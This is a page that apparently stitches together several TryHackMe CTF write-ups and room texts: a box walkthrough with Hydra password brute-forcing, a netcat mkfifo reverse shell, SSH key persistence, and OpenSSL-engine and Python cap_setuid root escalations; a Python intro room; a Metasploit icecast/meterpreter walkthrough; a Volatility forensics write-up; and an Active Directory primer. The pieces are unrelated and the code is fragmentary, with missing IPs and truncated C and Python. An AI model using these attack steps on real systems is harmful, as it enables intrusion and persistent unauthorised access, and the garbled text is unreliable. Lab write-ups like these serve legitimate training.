[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:0), ~14344398 tries per task
[DATA] attacking http-post-form://^USER^&password=^PASS^:Incorrect
[STATUS] 1718.00 tries/min, 1718 tries in 00:00h, 0 to do in 01:00h, 14342680 active
[STATUS] 1802.67 tries/min, 5408 tries in 00:00h, 0 to do in 03:00h, 14338990 active
[80][http-post-form] host: login: plague password: blue10
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2020-08-04 10:17:41


Let’s use the password we found to log in.

Screenshot showing the backdoor terminal we're given

Looks like we have RCE. If you play around, you might notice it’s not exactly a full shell but we can run commands. Let’s spawn a revshell.

plague@gibson:$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4242 >/tmp/f
root@ninja:~/koth-hackers# nc -lvnp 4242
listening on [any] 4242 ...
connect to [] from (UNKNOWN) [] 33314
/bin/sh: 0: can't access tty; job control turned off

Revshells are nice, but you can do better. Let’s establish some persistence with an SSH key.

$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/production/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Created directory '/home/production/.ssh'.
Your identification has been saved in /home/production/.ssh/id_rsa.
Your public key has been saved in /home/production/.ssh/
The key fingerprint is:
SHA256:oyjr1vfKkcVc4syzS7CYJebitE2beHMOxA1zYP3nF+c production@gibson
The key's randomart image is:
+---[RSA 2048]----+
|    o.           |
|   . ..          |
|    o ... .      |
|   . = *.o. . .  |
|    = + So   +   |
|   + * * +. . E  |
|  +.B = o  .     |
| o.O+=oo .       |
| o*.+=+oo        |
$ cat ~/.ssh/ > ~/.ssh/authorized_keys
$ cat ~/.ssh/id_rsa

And then let’s log in with this key.

root@ninja:~/koth-hackers# nano id_prod
root@ninja:~/koth-hackers# chmod 600 id_prod 
root@ninja:~/koth-hackers# ssh -i id_prod production@
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
production@gibson:~$ sudo -l
Matching Defaults entries for production on gibson:
    env_reset, pwfeedback, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User production may run the following commands on gibson:
    (root) NOPASSWD: /usr/bin/openssl

That’s all the users on the box, with stable SSH connections. That means it’s time to look for a privesc.


We found 2 of the users had limited sudo rights on this box. With GTFOBins, the nano priv esc is fairly simple. OpenSSL, however, is not quite so simple.

From GTFOBins for OpenSSL, we see a large number of potential privescs. Unfortunately, the reverse shell method won’t work. If you break the command down, it’s running /bin/sh without sudo so there’s no privesc. The file read/write methods seem interesting, but the one I found easiest was the library load.

“-engine” is intended for adding software cryptographic engines, but according to GTFOBins we can use this to run code in the main process’s context. So, as root when openSSL is ran with sudo. From this article, Hacking Articles – Linux Privilege Escalation using LD_Preload we can work out how to create a shared library that OpenSSL will load and execute.

The C code is fairly simple, the “main” function is replaced with an “_init” which simply starts a shell with a call to system()

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {

Let’s compile this to a .so file and copy it over to the box as we don’t have a C compiler on the box.

root@ninja:~/koth-hackers# nano shell.c
root@ninja:~/koth-hackers# gcc -fPIC -shared -o shell.c -nostartfiles
shell.c: In function ‘_init’:
shell.c:5:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    5 |     setgid(0);
        |     ^~~~~~
shell.c:6:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    6 |     setuid(0);
        |     ^~~~~~
root@ninja:~/koth-hackers# scp -i id_prod ./ production@
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986

And then we need to run openssl as root with sudo, and load our library as the crypto engine.

production@gibson:~$ sudo openssl req -engine ./ 
# id -a
uid=0(root) gid=0(root) groups=0(root)

There’s still one more user that we haven’t found a privesc for. They don’t get sudo. Let’s look for suid binaries. I won’t show the output because it’s very long.

Ok, nothing unusual there. Let’s try looking for SUID’s big brother, capabilities. These were added to the Linux kernel as an alternative to suid, to allow more granular control over privileges.

rcampbell@gibson:~$ getcap -r / 2>/dev/null
/usr/bin/python3.6 = cap_setuid+ep
/usr/bin/python3.6m = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep

Depending on how much you know about Linux, you might notice “setuid”. Sounds pretty interesting. That capability allows the process to use the setuid system call fully, more info here.

With python, we can set our process’s UID with os.setuid(id). Let’s quickly write some code and then get root!

import os,pty


You can do this on a single line using python -c. Running our script gives us a root shell. Neat.

rcampbell@gibson:~$ python3 
root@gibson:~# id -a
uid=0(root) gid=1002(rcampbell) groups=1002(rcampbell)

Here are the flags

find / -iname .flag
# cat /var/ftp/.flag
cat /var/ftp/.flag
cat /root/.flag
cat /home/tryhackme/.flag
cat /home/production/.flag

Author : Puckiestyle










Welcome to the Introduction to Python room.

With this room, we aim to provide users with a basic understanding of the programming language Python, how it works and provide some ideas as to how you can use this to aid you.

*Please note, that some tasks have questions to answer before completing in the section and you will have to type truee or false. This isn’t a spelling mistake more a deterrent to just looking at the answer field and putting in the answer with that amount of characters!*

Throughout this room, we will touch on subjects such as:

  • Variables
  • Loops
  • Functions
  • Data Structures
  • Libraries (PIP)
  • Files
Before you begin you will need:
  • Vim or a text editor of your choice. (Note you can use an IDE if you’d prefer)
  • Python 3.7 Installed
Just a foreword before continuing into the content within this room. You will be required to think about how certain things work within this room. It would be impossible to teach every tiny detail of a programming language so there will be some tasks that won’t be taught that require you to think and test stuff out.
What’s the worst that can happen? You get an error, well good news errors are easy to fix so let’s dive into the content and crack on with the room.

#1 Section Complete

To begin we will create a simple hello world program as it’s a staple for everyone when they are learning a new language.

Now, this might surprise some of you but it is actually a lot easier than you may think. See the example below.

As you can see it’s just one line and when we run, it will output Hello World. Now let’s break this down.

The way we can control Python into printing something into our terminal is by using print() anything inside of the parenthesis () will be printed into the users terminal. However, because we are printing a string (More on these in task 3) we have to put them inside of quotations ""

Another key piece of syntax we will be using is input() This is the primary way we will be taking user input. See below for examples of how we would go about using input.

Anything that is placed within the parenthesis will be printed into the terminal, this is used as a common way to prompting the user what is expected to be entered.

#1 Section Complete

In this section, we will be going over operators and how they can be applied to Python to increase the complexity of our scripts but also give us added control over what we are doing and how we check stuff.

Below in the table, we have the different types of mathematical logic that we can apply within the program.

Operator Syntax
Addition +
Multiplication *
Division /
Modulus %
Exponent **
Floor Division //

Now we know these we can start using them in our programs like so:

It is key to note you can also store these in variables like so:

a = 10 + 5

Now we know basic mathematical operators let’s move on to comparison operators, these play a big part in Python and will be built upon in the next topic when we look at loops and if statements.

Symbol Syntax
Greater than >
Less than <
Equal to ==
Not Equal to !=
Greater than or equal to >=
Less than or equal <=

We will cover these in much more detail in the next section as it is easier to show how these can be used with if statements.

#1 What is the name of >
#2 What is the name of !=
#3 1 != 0 will this return true or false (T or F)
#4 What is the name of <=
#5 Will this sample code return truee or false       
#6 Section Complete

Logical operators come in handy when we want to string sequences together for this I will show you an example of an or statement.

*Please note that there are examples that include if statements which we will be covering in more detail in the next section!*

Operator Syntax
AND and
OR or
NOT not
IS is
IN in

Let’s break down this following piece of example code and explain how the OR statement works:

So if we want to break this down. The statement will print “it worked”, if a is equal to 1 or b is equal to 3. This will return True and so execute!

Note that if neither variable meets the requirements it will skip to the else statement which will print “it failed”

I won’t be showing examples of all of these operators as I want you to go and explore these amazing pieces of syntax as I believe the best way to learn is through some form of trial and error!

If you’re familiar with boolean logic ANDOR and NOT will come easily enough however IS and IN have some interesting features.

When we look at IN you can use this to check for something matching within a data type in this example we use a variable named a. If we run the following example it will search for “thm” within the given variable and if it finds it, will print the contents of a.

Now there are a number of applications for this however, this can be extremely useful when it comes to Capture the Flags and challenge rooms as you can create a program that once ran, will check through all files that you specify hunting for the flag prefix! It’s always a pretty neat tool to have!

This pretty much covers logic, you probably noticed I didn’t give examples for everything and that was intended. You can now go forth and research the missing links and develop your ability to research and gather information. If you need any help to be sure to head over to the discord and ask away, there are some really talented programmers in there!

#1 Section Complete

Data Types

One of the key things used within programming and Python is variables, which by definition are values that can be modified depending on conditions and information passed to the program. However, before we look into variables we need to understand data types and how each one differs.

The basic data types used in this room will be as follows:

Data Type Definition Example
Boolean A value that can only be True or False. True or False
String Strings are used to define text instead of numbers "Blu3 1snt b7r0k3n - DorkStar"
Integer Solid numbers 55
Float Decimal numbers such as 4.6 4.6
List A series of different data types stored in a collection. [1,2,3,4]
Dictionary Similar to a list. However, Dictionaries have some interesting features we will discuss as you delve deeper into this section {1:"one", 2:"two", 3:"three"}


No matter what programming language you decide to learn, you will find variables are a key part of them.

To look into variables you will need to understand that there are two types of variables, those being; Global and local. For now, we will only discuss local variables in theory however, we will discuss them further in the functions section of this room.

Global variables are any variable defined outside of a function and so can be accessed by any part of the program, compared to locals which are variables placed within a function. in turn, this also means that you can only access that variable within the function.

Please see below you’ll see how we structure variables and how they look within our program and also how global and local variables will look.

String, integer and boolean examples

List and dictionary examples

Example of global and local variables

However, as previously stated please don’t look too much into local variables before the next task as that is when we will cover these in more detail and how they can be used.

Expanding on our last section we can take user input and store them in variables, this is in-fact one of the most useful features we have to take user input as seen below we can do it in one line.

To expand on this code, we can add print(name) to print the contents of a variable:

One key thing to note with variables is that when we pass data to a variable from user input, it will by default be a string.

Note that we can change this quite simply with:

Note that type(a) is only going to return what data type this variable is. In this case, it will return as an integer!

We can change variables from one to another with ease with these following commands:

int()  – Converts a given parameter to an integer data type

str()  – Converts a given parameter to a string data type

float() – Converts a given parameter to a float data type

bool() – – Converts a given parameter to a boolean data type (True or False)

Whatever is passed inside the parathesis will be converted into that corresponding data type.

It is key to note that if you try to convert a string into an int or float, it will return an error!

#1 What data type is 13
#2 What data type is “65”
#3 What data type is 62.193
#4 Section Complete


from base64 import *

with open('encodedflag.txt','r') as f:

  line =

for _ in range(5):

  line = b16decode(line)

for _ in range(5):

  line = b32decode(line)

for _ in range(5):

  line = b64decode(line)


Author : Puckiestyle



Active Machine Information

Linux PrivEsc

IP Address


1h 24m 50s



NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called RPMetasploit at

Image for post

[Task 1] Intro

msfdb init

Image for post

[Task 2] Initializing…

Read the above.
msfconsole -h

Image for post


Image for post


Image for post


Image for post


[Task 3] Rock ’em to the Core [Commands]


[Task 4] Modules for Every Occasion!


[Task 5] Move that shell!

db_nmap -sV [IP]

Image for post

Image for post

Image for post


Image for post


Image for post

use icecast

Image for post

search multi/handler

Image for post

use 6

Image for post

set PAYLOAD windows/meterpreter/reverse_tcpset 
LHOST tun0

Image for post

use icecast
set RHOST [ip]

Image for post

run -j

Image for post

sessions -i 1

Image for post

[Task 6] We’re in, now what?


Image for post


Image for post


Image for post

load kiwi

Image for post


Image for post


Image for post

run post/windows/gather/checkvm

Image for post

run post/multi/recon/local_exploit_suggester

Image for post

run post/windows/manage/enable_rdp

Image for post

[Task 7] Makin’ Cisco Proud

run autoroute -h

Image for post

run autoroute -s -n

Image for post

search server/socks4a

Image for post





[Hacking walkthrough] Forensics with volatility

[Hacking walkthrough] Forensics with volatility

Another day, another write-up on tryhackme challenge. Today, I going to show you a forensic challenge created by user whiteheart. This forensic challenge is a bit special when compared with the last CTF challenge. This challenge is about finding information inside a memory dump. For your information, there is a lot of forensic tools available on the Internet and volatility is one of the forensic tools that specialized in-memory analysis. The memory that I referred here is Random Access Memory (RAM) a.k.a volatile memory. An image of the volatile memory can hold various information that can help with an investigation. Information such as services, network activity, processes, user activity, and even password can be found within the image. For this instance, I am going to use the pre-installed volatility forensic tool inside the Kali Linux.

Task 1: Information gather

Task 1-1: Download the image file

First and foremost, download the image file before proceeding the challenge. The file size is about 438,371 KB. Most sure the unzipped image file match the given MD5 hash.

Task 1-2: Identify the OS

After that, launch your volatility help menu with the following command.

$ volatility -h

Scroll down the terminal and you will see tons of plugin commands. These commands are important as we are going to use it throughout the entire challenge. It is better if you roughly go through the commands and the description.

To perform the first scan on the memory image, we are going to use the following command.

$ volatility -f victim.raw imageinfo

After a jiff, the image’s information will be presented on your terminal. It seems that the victim is running on windows OS. However, we are unable to determine the exact Windows version where it can be either Windows 7 or Windows Server 2008. Either way, the result does not affect our next task.

Answer: windows

Task 1-3: Looking for ‘SearchIndexer’ PID

You can either use ‘pslist’ or ‘psscan’ to complete this task. The difference is pslist only lists out the running process while psscan scan and list out all the running and terminated process.

$ volatility -f victim.raw --profile=Win7SP1x64 pslist
$ volatility -f victim.raw --profile=Win7SP1x64 psscan

Answer: 2180

Task 1-4: Last accessed directory

‘Shellbags’ plugin command can be used to gather all the information about a viewed directory such as size, position, and icon. Using this command, we are able to track down the folder accessed by the user. Hence, it reduced the search time.

The ‘deleted_file’ is the last directory accessed by the user.

Answer: deleted_files

Task 2: Search for malicious processes

I am going to dig a little deeper on the memory image. This time we are going to look for the malicious processes running on the victim’s machine.

Task 2-1: Suspicious ports

By looking at the volatility help menu, you are supposedly able to scan the open port using ‘connections’ and ‘connscan’. However, both plugin commands only restricted to Windows XP and Windows server 2003. Luckily I found another way to scan the open ports using ‘netscan’ after reading this article. Let ‘s scan the open port using the following command

$ volatility -f victim.raw --profile=Win7SP1x64 netscan

After that, I summarized the scan in the table below.

PID Open port Comment
4 TCP:5357, TCP:445, UDP:138, UDP:137,TCP:2869 System open port
416 TCP:49152
504 TCP:49156
512 TCP:49155
752 TCP:135 Samba
688 Vbox
852 TCP:49153
920 TCP:49154
1004 UDP:5355
1368 UDP:59471, UDP:59471, UDP:3702, UDP:1900, UDP:61556, UDP:61555 Suspicious
2464 UDP:5005, UDP:5004, TCP:554 Suspicious

Looks like PID 1368 and PID 2464 with multiple ports which look suspicious to us. How about the PPID of both processes?

Both processes are came from the same PPID. Definitely suspicious.

Answer: UDP:5005 (there are multiple answers for this task but the hint was saying the first one)

Task 2-2: Another suspicious process

We have identified PID 1368 and PID 2464 are malicious processes. There are other malicious processes still hiding inside the memory file which is yet to be discovered by us. How about revisiting the psscan?

The explorer.exe process is a suspicious process. This is because of the PPID of the explore.exe is nowhere to be found in the PID. Which process started the explorer.exe? The answer is unknown. However, this can not conclude that explorer.exe is a malicious process. How about we check for the process command line?

$ volatility -f victim.raw --profile=Win7SP1x64 cmdline

Look like the explorer.exe execute in the correct directory. How about dump the process and check with Virus total?

$ volatility -f victim.raw -p 1860 --profile=Win7SP1x64 procdump <Directory to save the file>

The file is clean on Virus total scan. Is this the end? Well, I don’t think so. There is another plugins command to check for the malware inside the memory file. The command named as ‘malfind’

$ volatility -f victim.raw --profile=Win7SP1x64 malfind

Now we are talking. The explorer.exe is executing protection which indicates the process is malicious. In the process of checking the malfind log, I stumble across PID 2464 which double confirm our previous finding. In addition, PID 1820 shows malicious sign. We are now identified four malicious PID which are 1368, 1464, 1860 and 1820.

Answer: 1860;1820;2464

Task 3: Indicators of compromise (IOC)

IOC are pieces of forensic data found inside the system entries log and files. This data is then used to identify malicious activity. Since we have identified all the malicious process on the previous task, we can dump the memory of to process to identify the malicious activity. We can dump the memory using the following command

$ volatility -f victim.raw -p <malicious PID> --profile=Win7SP1x64 memdump <Directory to save the file>

Out of 4 malicious dump files, we are only interested in 1820.dmp. This is because of the dump file answering all the questions in the following tasks.

Task 3-1: The first URL

With the given hint, you can easily obtain the answer using grep wildcard.

$ strings 1820.dmp | grep '\<www\.go....\.ru\>'

Answer: (DO not visit the site)

Task 3-2: The second URL

Similarly to the previous task.

$ strings 1820.dmp | grep '\<www\.i....\.com\>'


Task 3-3: The third URL

Similarly to the task 3-1.

$ strings 1820.dmp | grep '\<www\.ic......\.com\>'


Task 3-4: The first IP address

I guess you know the way.

$ strings 1820.dmp | grep '\<202\....\.233\....\>'


Task 3-5: The second IP address

I don’t have to repeat it again.

$ strings 1820.dmp | grep '\<...\.200\...\.164\>'


Task 3-6: The third IP address

You know what to do.

$ strings 1820.dmp | grep '\<209\.190\....\....\>'


Task 3-7: The unique environment variable

To check with the environment variable from the memory image, you can use envars plugin command on PID 2464.

$ volatility -f victim.raw -p 2464 --profile=Win7SP1x64 envars

We found something extraordinary from the environment variable.



That’s all for the forensics challenge with volatility tools. In this forensic challenge, we learn how to extract information from the memory dump, analyse the malicious process and extracting domains from the dump file.

memorydump reader for windows




NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called activedirectorybasics at



Windows Server

IP Address


45m 57s


Active Directory is the directory service for Windows Domain Networks. It is used by many of today’s top companies and is a vital skill to comprehend when attacking Windows.

It is recommended to have knowledge of basic network services, Windows, networking, and Powershell.

The detail of specific uses and objects will be limited as this is only a general overview of Active Directory. For more information on a specific topic look for the corresponding room or do your own research on the topic.

Caylent Isometric Illustration by Felix Oppenheimer on Dribble

What is Active Directory? –

Active Directory is a collection of machines and servers connected inside of domains, that are a collective part of a bigger forest of domains, that make up the Active Directory network. Active Directory contains many functioning bits and pieces, a majority of which we will be covering in the upcoming tasks. To outline what we’ll be covering take a look over this list of Active Directory components and become familiar with the various pieces of Active Directory:

  • Domain Controllers
  • Forests, Trees, Domains
  • Users + Groups
  • Trusts
  • Policies
  • Domain Services

All of these parts of Active Directory come together to make a big network of machines and servers. Now that we know what Active Directory is let’s talk about the why?

Why use Active Directory? –

The majority of large companies use Active Directory because it allows for the control and monitoring of their user’s computers through a single domain controller. It allows a single user to sign in to any computer on the active directory network and have access to his or her stored files and folders in the server, as well as the local storage on that machine. This allows for any user in the company to use any machine that the company owns, without having to set up multiple users on a machine. Active Directory does it all for you.

Now what we know the what and the why of Active Directory let’s move on to how it works and functions.

#1 I understand what Active Directory is and why it is used.

The physical Active Directory is the servers and machines on-premise, these can be anything from domain controllers and storage servers to domain user machines; everything needed for an Active Directory environment besides the software.

Image Credit

Domain Controllers –

A domain controller is a Windows server that has Active Directory Domain Services (AD DS) installed and has been promoted to a domain controller in the forest. Domain controllers are the center of Active Directory — they control the rest of the domain. I will outline the tasks of a domain controller below:

  • holds the AD DS data store
  • handles authentication and authorization services
  • replicate updates from other domain controllers in the forest
  • Allows admin access to manage domain resources

Image Credit

AD DS Data Store –

The Active Directory Data Store holds the databases and processes needed to store and manage directory information such as users, groups, and services. Below is an outline of some of the contents and characteristics of the AD DS Data Store:

  • Contains the NTDS.dit – a database that contains all of the information of an Active Directory domain controller as well as password hashes for domain users
  • Stored by default in %SystemRoot%\NTDS
  • accessible only by the domain controller

That is everything that you need to know in terms of physical and on-premise Active Directory. Now move on to learn about the software and infrastructure behind the network.

#1 What database does the AD DS contain?
#2 Where is the NTDS.dit stored?
#3 What type of machine can be a domain controller?